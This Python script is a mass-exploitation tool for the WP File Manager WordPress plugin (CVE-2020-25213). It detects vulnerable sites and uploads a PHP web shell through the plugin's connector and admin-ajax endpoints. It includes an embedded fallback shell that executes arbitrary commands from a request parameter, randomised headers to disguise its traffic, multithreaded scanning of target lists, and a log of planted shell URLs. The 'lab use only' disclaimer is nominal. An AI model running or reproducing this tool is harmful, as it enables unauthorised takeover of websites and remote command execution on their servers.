wpfm_exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WP File Manager — Mass Exploit + UnknownSec File Manager Shell Upload
CVE-2020-25213 (<= 6.8) and related — WP File Manager < 7.0

For LAB use only. Unauthorized usage is illegal.

The shell file (file.php) is expected in the SAME directory as this script.
"""

import argparse
import concurrent.futures
import os
import random
import re
import string
import sys
import threading
import time
from dataclasses import dataclass, field
from datetime import datetime
from typing import List, Optional, Tuple

import requests
import urllib3
from colorama import Fore, Style, init

# ────────────────────────────── INIT ────────────────────────────────────
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

print_lock = threading.Lock()

# ────────────────────────────── COLORS ──────────────────────────────────
LIGHT_YELLOW_BOLD = "\033[1;33m"
LIGHT_WHITE_BOLD = "\033[1;37m"
GREEN_BOLD = "\033[1;32m"
RED_BOLD = "\033[1;31m"
RESET = "\033[0m"

# ────────────────────────────── BANNER ──────────────────────────────────
BANNER = r"""
██╗    ██╗██████╗       ███████╗██╗██╗     ███████╗███╗   ███╗ █████╗ ███╗   ██╗ █████╗  ██████╗ ███████╗██████╗ 
██║    ██║██╔══██╗      ██╔════╝██║██║     ██╔════╝████╗ ████║██╔══██╗████╗  ██║██╔══██╗██╔════╝ ██╔════╝██╔══██╗
██║ █╗ ██║██████╔╝█████╗█████╗  ██║██║     █████╗  ██╔████╔██║███████║██╔██╗ ██║███████║██║  ███╗█████╗  ██████╔╝
██║███╗██║██╔═══╝ ╚════╝██╔══╝  ██║██║     ██╔══╝  ██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══██║██║   ██║██╔══╝  ██╔══██╗
╚███╔███╔╝██║           ██║     ██║███████╗███████╗██║ ╚═╝ ██║██║  ██║██║ ╚████║██║  ██║╚██████╔╝███████╗██║  ██║
 ╚══╝╚══╝ ╚═╝           ╚═╝     ╚═╝╚══════╝╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
"""

# ────────────────────────────── CONSTANTS ───────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
OUTPUT_DIR = os.path.join(SCRIPT_DIR, "wpfm_RESULTS")

# ⚠️ Shell file is in the SAME directory as this script
PAYLOAD_FILE = "file.php"
PAYLOAD_PATH = os.path.join(SCRIPT_DIR, PAYLOAD_FILE)

# WP File Manager paths on the target
FM_README = "/wp-content/plugins/wp-file-manager/readme.txt"
FM_CONNECTOR = "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
FM_FILES_DIR = "/wp-content/plugins/wp-file-manager/lib/files/"
FM_ADMIN_AJAX = "/wp-admin/admin-ajax.php"

VULN_MAX_FLOAT = 7.0
SHELL_MARKER = "UnknownSec Shell"

# Fallback shell (only used if file.php is missing)
FALLBACK_SHELL = r"""<?php
/* UnknownSec Shell — fallback */
@error_reporting(0);
echo "UnknownSec Shell\n\n";
if (isset($_REQUEST['c'])) { echo "<pre>" . shell_exec($_REQUEST['c'] . ' 2>&1') . "</pre>"; }
"""

# ────────────────────────────── STATS ───────────────────────────────────
@dataclass
class ExploitStats:
    total: int = 0
    wordpress_detected: int = 0
    filemanager_found: int = 0
    vulnerable_version: int = 0
    shells_uploaded: int = 0
    failed: int = 0
    errors: int = 0
    start_time: float = field(default_factory=time.time)

    def log(self, message: str, level: str = "info"):
        with print_lock:
            ts = datetime.now().strftime('%H:%M:%S')
            if level == "success":
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET} "
                      f"- [{GREEN_BOLD}Shell Uploaded Successfully{RESET}]")
            elif level == "vuln":
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET} "
                      f"- [{LIGHT_YELLOW_BOLD}Vuln{RESET}]")
            elif level == "failed":
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET} "
                      f"- [{RED_BOLD}Upload Failed{RESET}]")
            elif level == "notinstalled":
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET} "
                      f"- [{RED_BOLD}FileManager Not Installed{RESET}]")
            elif level == "notvuln":
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET} "
                      f"- [{RED_BOLD}Not vuln{RESET}]")
            else:
                print(f"[{LIGHT_YELLOW_BOLD}{ts}{RESET}] - {LIGHT_WHITE_BOLD}{message}{RESET}")


# ────────────────────────────── HEADER FACTORY ──────────────────────────
class HeaderFactory:
    @staticmethod
    def get_random_headers() -> dict:
        chrome_versions = ['120.0.0.0', '121.0.0.0', '119.0.0.0', '118.0.0.0']
        os_strings = [
            'Windows NT 10.0; Win64; x64',
            'Windows NT 11.0; Win64; x64',
            'Macintosh; Intel Mac OS X 10_15_7',
            'X11; Linux x86_64',
        ]
        version = random.choice(chrome_versions)
        os_string = random.choice(os_strings)
        ua = (f'Mozilla/5.0 ({os_string}) AppleWebKit/537.36 '
              f'(KHTML, like Gecko) Chrome/{version} Safari/537.36')
        headers = {
            'User-Agent': ua,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept-Encoding': 'gzip, deflate, br',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
        }
        if random.randint(1, 10) <= 7:
            headers['Referer'] = random.choice(
                ['https://www.google.com/', 'https://www.bing.com/', ''])
        return headers


# ────────────────────────────── DETECTOR ────────────────────────────────
class WPFMDetector:
    def __init__(self, target: str, session: requests.Session, timeout: int = 8):
        self.target = target.rstrip('/')
        self.session = session
        self.timeout = timeout

    def detect_wordpress(self) -> bool:
        indicators = 0
        try:
            r = self.session.get(self.target, timeout=self.timeout, verify=False)
            if r.status_code == 200:
                html = r.text.lower()
                for sig in ['wp-content/', 'wp-includes/', 'wp-json',
                            'wp-emoji', 'dashicons']:
                    if sig in html:
                        indicators += 1
        except Exception:
            pass
        for path in ('/wp-login.php', '/wp-admin/', '/wp-json/', '/xmlrpc.php'):
            try:
                r = self.session.get(self.target + path, timeout=self.timeout,
                                     verify=False, allow_redirects=False)
                if r.status_code in (200, 301, 302, 405):
                    indicators += 1
            except Exception:
                continue
        return indicators >= 2

    def detect_filemanager(self) -> Tuple[bool, Optional[str]]:
        try:
            r = self.session.get(self.target + FM_README,
                                 timeout=self.timeout, verify=False,
                                 headers=HeaderFactory.get_random_headers())
            if r.status_code != 200:
                return False, None
            m = re.search(r"Stable tag:\s*([\d.]+)", r.text, re.I)
            return True, (m.group(1) if m else None)
        except Exception:
            return False, None

    def detect_connector(self) -> bool:
        try:
            r = self.session.get(self.target + FM_CONNECTOR,
                                 timeout=self.timeout, verify=False,
                                 headers=HeaderFactory.get_random_headers())
            if r.status_code in (200, 400, 403):
                return True
        except Exception:
            pass
        return False


# ────────────────────────────── SHELL UPLOADER ──────────────────────────
class WPFMShellUploader:
    def __init__(self, target: str, session: requests.Session, timeout: int = 15):
        self.target = target.rstrip('/')
        self.session = session
        self.timeout = timeout

    @staticmethod
    def _rand(n: int = 6) -> str:
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

    def _get_payload_path(self) -> Optional[str]:
        """
        Returns the path to the shell file.
        Expected location: SAME directory as this script (file.php).
        """
        if os.path.exists(PAYLOAD_PATH):
            return PAYLOAD_PATH
        # Fallback: write minimal shell next to the script
        try:
            with open(PAYLOAD_PATH, 'w', encoding='utf-8') as f:
                f.write(FALLBACK_SHELL)
            return PAYLOAD_PATH
        except Exception:
            return None

    def _verify_shell(self, url: str) -> bool:
        """Verify the shell responds with the UnknownSec marker."""
        try:
            r = requests.get(url, timeout=10, verify=False,
                             headers=HeaderFactory.get_random_headers())
            if r.status_code != 200:
                return False
            body = r.text
            return (SHELL_MARKER in body
                    or 'UnknownSec' in body
                    or 'shell bypass 403' in body
                    or 'mass deface' in body)
        except Exception:
            return False

    def upload_connector(self) -> Optional[str]:
        """Upload via connector.minimal.php (classic vulnerable endpoint)."""
        payload = self._get_payload_path()
        if not payload:
            return None

        filename = f"shell_{self._rand(6)}.php"
        url = self.target + FM_CONNECTOR
        data = {"cmd": "upload", "target": "l1_Lw"}
        headers = HeaderFactory.get_random_headers()

        try:
            with open(payload, 'rb') as f:
                files = {"upload[]": (filename, f, 'application/x-php')}
                r = requests.post(url, data=data, files=files,
                                  headers=headers, timeout=20, verify=False)

            if 'added' not in r.text.lower() and r.status_code not in (200, 500):
                return None

            # Possible destination paths
            candidates = [
                f"{self.target}{FM_FILES_DIR}{filename}",
                f"{self.target}/wp-content/plugins/wp-file-manager/lib/files/{filename}",
                f"{self.target}/wp-content/plugins/wp-file-manager/lib/files/l1_Lw/{filename}",
                f"{self.target}/wp-content/uploads/{filename}",
                f"{self.target}/{filename}",
            ]
            for shell_url in candidates:
                if self._verify_shell(shell_url):
                    return shell_url
            return None
        except Exception:
            return None

    def upload_admin_ajax(self) -> Optional[str]:
        """Upload via admin-ajax.php (alternative)."""
        payload = self._get_payload_path()
        if not payload:
            return None

        filename = f"fm_{self._rand(6)}.php"
        url = self.target + FM_ADMIN_AJAX

        try:
            with open(payload, 'r', encoding='utf-8', errors='ignore') as f:
                shell_content = f.read()

            headers = HeaderFactory.get_random_headers()
            files = {'upload[]': (filename, shell_content, 'application/x-php')}
            data = {
                'action': 'mk_file_folder_manager',
                'cmd': 'upload',
                'target': 'l1_Lw',
            }
            r = requests.post(url, data=data, files=files,
                              headers=headers, timeout=20, verify=False)

            if r.status_code not in (200, 500):
                return None

            candidates = [
                f"{self.target}/{filename}",
                f"{self.target}{FM_FILES_DIR}{filename}",
                f"{self.target}/wp-content/uploads/{filename}",
            ]
            for shell_url in candidates:
                if self._verify_shell(shell_url):
                    return shell_url
            return None
        except Exception:
            return None

    def try_all_uploads(self) -> Optional[str]:
        for name, method in [
            ("connector.minimal.php", self.upload_connector),
            ("admin-ajax.php", self.upload_admin_ajax),
        ]:
            try:
                url = method()
                if url:
                    return url
            except Exception:
                continue
        return None


# ────────────────────────────── EXPLOIT ─────────────────────────────────
class WPFMExploit:
    def __init__(self, target: str, timeout: int = 15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update(HeaderFactory.get_random_headers())
        self.verify = False

    def exploit(self, verbose: bool = False) -> Tuple[bool, str, Optional[str]]:
        detector = WPFMDetector(self.target, self.session, self.timeout)

        if not detector.detect_wordpress():
            return False, "not WordPress", None

        fm_installed, fm_version = detector.detect_filemanager()
        if not fm_installed:
            if not detector.detect_connector():
                return False, "FileManager Not Installed", None
            fm_version = None

        if verbose:
            print(f"    [Debug] FM version: {fm_version}")

        if fm_version:
            try:
                if float(fm_version) >= VULN_MAX_FLOAT:
                    return False, f"Not vuln (v{fm_version})", None
            except ValueError:
                pass

        uploader = WPFMShellUploader(self.target, self.session, self.timeout)
        shell_url = uploader.try_all_uploads()
        if not shell_url:
            return False, "upload failed (all endpoints)", None

        return True, f"v{fm_version or 'unknown'}", shell_url


# ────────────────────────────── MASS EXPLOITER ──────────────────────────
class MassExploiter:
    def __init__(self, targets: List[str], threads: int = 60, timeout: int = 15,
                 output_dir: str = OUTPUT_DIR):
        self.targets = targets
        self.threads = threads
        self.timeout = timeout
        self.output_dir = output_dir
        self.stats = ExploitStats()
        self.vulnerable_targets: List[Tuple[str, str, Optional[str]]] = []
        self.lock = threading.Lock()
        os.makedirs(self.output_dir, exist_ok=True)

    def _worker(self, target: str):
        target = target.strip()
        if not target:
            return
        if '://' not in target:
            target = 'http://' + target
        target = target.rstrip('/')

        try:
            exploit = WPFMExploit(target, timeout=self.timeout)
            success, message, shell_url = exploit.exploit(verbose=False)

            with self.lock:
                self.stats.total += 1
                if success:
                    self.stats.vulnerable_version += 1
                    self.stats.shells_uploaded += 1
                    self.vulnerable_targets.append((target, message, shell_url))
                    self.stats.log(shell_url, "success")
                    with open(os.path.join(self.output_dir, "shells.txt"), 'a') as f:
                        f.write(f"{shell_url}\n")
                else:
                    self.stats.failed += 1
                    if "Not Installed" in message:
                        self.stats.log(target, "notinstalled")
                    elif "Not vuln" in message:
                        self.stats.log(target, "notvuln")
                    else:
                        self.stats.log(f"{target} ({message})", "failed")
        except Exception as e:
            with self.lock:
                self.stats.errors += 1
                self.stats.log(f"{target} (error: {str(e)[:60]})", "failed")

    def run(self):
        print(BANNER.center(os.get_terminal_size().columns))
        print()
        for line in [
            "◆ This Tool is Designed to identify vulnerabilities in WordPress installations.",
            "◆ Specifically targeting the WP File Manager plugin (CVE-2020-25213 and others).",
            "◆ It checks for known vulnerabilities and attempts to upload a shell if a vulnerable version is detected.",
        ]:
            print(f"{LIGHT_WHITE_BOLD}{line}{RESET}")
        print()
        self.stats.log(f"Targets: {len(self.targets)} | Threads: {self.threads} | "
                       f"Timeout: {self.timeout}s")
        print()

        with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as ex:
            list(ex.map(self._worker, self.targets))

        elapsed = time.time() - self.stats.start_time
        print(f"\n{'='*70}\nFINAL SUMMARY\n{'='*70}")
        print(f"  Total targets      : {self.stats.total}")
        print(f"  {GREEN_BOLD}Shells uploaded    : {self.stats.shells_uploaded}{RESET}")
        print(f"  {RED_BOLD}Failed             : {self.stats.failed}{RESET}")
        print(f"  Errors             : {self.stats.errors}")
        print(f"  Duration           : {elapsed:.2f}s")
        print(f"  Shells saved to    : {os.path.join(self.output_dir, 'shells.txt')}\n")

        if self.vulnerable_targets:
            print(f"{GREEN_BOLD}VULNERABLE TARGETS:{RESET}")
            for url, ver, shell in self.vulnerable_targets:
                print(f"  {GREEN_BOLD}[+]{RESET} {url} ({ver}) -> {shell}")
            print()


# ────────────────────────────── HELPERS ─────────────────────────────────
def parse_targets(path: str) -> List[str]:
    targets = []
    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    targets.append(line)
    except FileNotFoundError:
        print(f"{RED_BOLD}[!] File not found: {path}{RESET}")
        sys.exit(1)
    return targets


def check_payload():
    """Check if file.php exists in the script directory."""
    if not os.path.exists(PAYLOAD_PATH):
        print(f"{LIGHT_YELLOW_BOLD}[!] Shell file '{PAYLOAD_FILE}' not found "
              f"in {SCRIPT_DIR}{RESET}")
        print(f"{LIGHT_WHITE_BOLD}[i] Place your shell as '{PAYLOAD_FILE}' "
              f"next to this script.{RESET}")
        print(f"{LIGHT_WHITE_BOLD}[i] A minimal fallback will be created "
              f"automatically.{RESET}\n")
    else:
        size = os.path.getsize(PAYLOAD_PATH)
        print(f"{GREEN_BOLD}[+] Shell loaded: {PAYLOAD_FILE} ({size} bytes){RESET}\n")


# ────────────────────────────── MAIN ────────────────────────────────────
def main():
    ap = argparse.ArgumentParser(
        description="WP File Manager Mass Exploit + UnknownSec shell (file.php next to script)"
    )
    ap.add_argument('-u', '--url', help="Single target URL")
    ap.add_argument('-l', '--list', help="File with targets")
    ap.add_argument('-t', '--threads', type=int, default=60)
    ap.add_argument('--timeout', type=int, default=15)
    ap.add_argument('-o', '--output', default=OUTPUT_DIR)
    ap.add_argument('-v', '--verbose', action='store_true')
    args = ap.parse_args()

    if not args.url and not args.list:
        ap.print_help()
        sys.exit(1)

    if args.url:
        print(BANNER.center(os.get_terminal_size().columns))
        print()
        check_payload()
        target = args.url.strip()
        if '://' not in target:
            target = 'http://' + target
        target = target.rstrip('/')

        exploit = WPFMExploit(target, timeout=args.timeout)
        success, message, shell_url = exploit.exploit(verbose=args.verbose)

        if success:
            print(f"[{LIGHT_YELLOW_BOLD}{datetime.now().strftime('%H:%M:%S')}{RESET}] - "
                  f"{LIGHT_WHITE_BOLD}{shell_url}{RESET} - "
                  f"[{GREEN_BOLD}Shell Uploaded Successfully{RESET}]")
            sys.exit(0)
        else:
            print(f"[{LIGHT_YELLOW_BOLD}{datetime.now().strftime('%H:%M:%S')}{RESET}] - "
                  f"{LIGHT_WHITE_BOLD}{target}{RESET} - "
                  f"[{RED_BOLD}FAILED: {message}{RESET}]")
            sys.exit(1)

    targets = parse_targets(args.list)
    if not targets:
        print(f"{RED_BOLD}[!] No targets in {args.list}{RESET}")
        sys.exit(1)

    exploiter = MassExploiter(targets, threads=args.threads,
                              timeout=args.timeout, output_dir=args.output)
    exploiter.run()


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{RED_BOLD}[!] Interrupted{RESET}")
        sys.exit(130)